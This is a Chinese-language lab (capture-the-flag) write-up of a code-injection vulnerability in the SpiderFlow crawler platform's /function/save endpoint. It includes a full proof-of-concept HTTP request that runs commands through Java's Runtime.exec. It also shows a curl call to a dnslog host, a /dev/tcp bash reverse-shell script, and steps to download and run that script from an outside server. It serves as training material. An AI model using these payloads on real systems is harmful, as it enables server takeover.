漏洞描述
SpiderFlow爬虫平台项目中spider-flow-web\src\main\java\org\spiderflow\controller\FunctionController.java
文件的FunctionService.saveFunction
函数调用了saveFunction
函数,该调用了自定义函数validScript
,该函数中用户能够控制 functionName
、parameters
或 script
中的内容,从而构造恶意输入来执行任意的 JavaScript 代码,从而导致代码注入,并允许远程发起攻击,可导致服务器失陷
POC
POST /function/save HTTP/1.1
Host: eci-2ze6dzdag3zeyw6svm2f.cloudeci1.ichunqiu.com:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
id=1&name=cmd¶meter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('此处执行命令')%3B%7B
漏洞位置 /function/save
提交参数时,script处可以插入恶意的代码达到命令执行
靶场解题
1.启动春秋云镜后,通过burp截取请求包。漏洞点截取,或者直接随便截取一个包,修改下target地址
将截取到的包发送到 repeater中
修改post中script传递的参数
id=1&name=cmd¶meter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('此处执行命令')%3B%7B
我做靶场时遇到的问题
#先使用了 ping 命令使用dnslog测试,返回包中出现了报错,应该是不支持ping
#然后使用了curl 发现可以正常访问
exec('curl+kvoarh.dnslog.cn')
在这里卡了一小下,脑袋出问题了,想直接反弹shell ,发现没什么用
exec("bash -c {echo,6L+Z6YeM5LuA5LmI6YO95rKh5pyJ77yM5LuA5LmI6YO95rKh5pyJ}|{base64,-d}|{bash,-i}");
后面脑袋又灵光了
1.我们先自己通过云服务器构建一个1.sh 脚本文件
内容如下:
#!/bin/bash
bash -i >&/dev/tcp/ip/port 0>1&
2.然后通过python 启动一个http服务
python3 -m http.server port
3.burp发送包,下载我们远程服务器上的脚本 到/tmp目录下
id=1&name=cmd¶meter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('curl -o /tmp/1.sh http://ip/port/脚本')%3B%7B
4.成功后,通过bash /tmp/脚本名称 运行脚本即可反弹shell flag在根目录下
id=1&name=cmd¶meter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('bash /tmp/1.sh')%3B%7B
题目解法很多,小白文章。